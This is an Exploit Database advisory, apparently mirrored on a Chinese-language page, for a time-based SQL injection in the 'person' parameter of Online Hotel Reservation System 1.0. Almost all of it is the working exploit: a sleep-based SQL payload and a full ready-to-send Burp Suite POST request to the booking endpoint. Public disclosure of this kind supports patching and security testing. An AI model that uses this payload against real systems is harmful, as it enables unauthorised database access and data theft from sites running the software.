Online Hotel Reservation System 1.0 – ‘person’ time-based SQL Injection

• Exploit Database
• 19 阅读

• 作者： Mesut Cetin
  日期： 2021-01-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49431/

• # Exploit Title: Online Hotel Reservation System 1.0 - 'person' time-based SQL Injection
  # Exploit Author: Mesut Cetin
  # Date: 2021-01-15
  # Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
  # Version: 1.0
  # Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0
  
  ######## Description ########
  
  The 'person' parameter is vulnerable to time-based SQL Injection. 
  
  
  ######## Proof of Concept #######
  
  Payload: (select*from(select(sleep(10)))a)
  
  Using Burp Suite, send the following POST request:
  
  POST /marimar/index.php?p=booking HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: de,en-US;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 71
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/marimar/index.php?p=booking
  Cookie: PHPSESSID=cf40af0022f401c8cfd0be17fc00a6cc
  Upgrade-Insecure-Requests: 1
  
  arrival=01%2F19%2F2021&departure=01%2F11%2F2021&person=(select*from(select(sleep(10)))a)&accomodation=0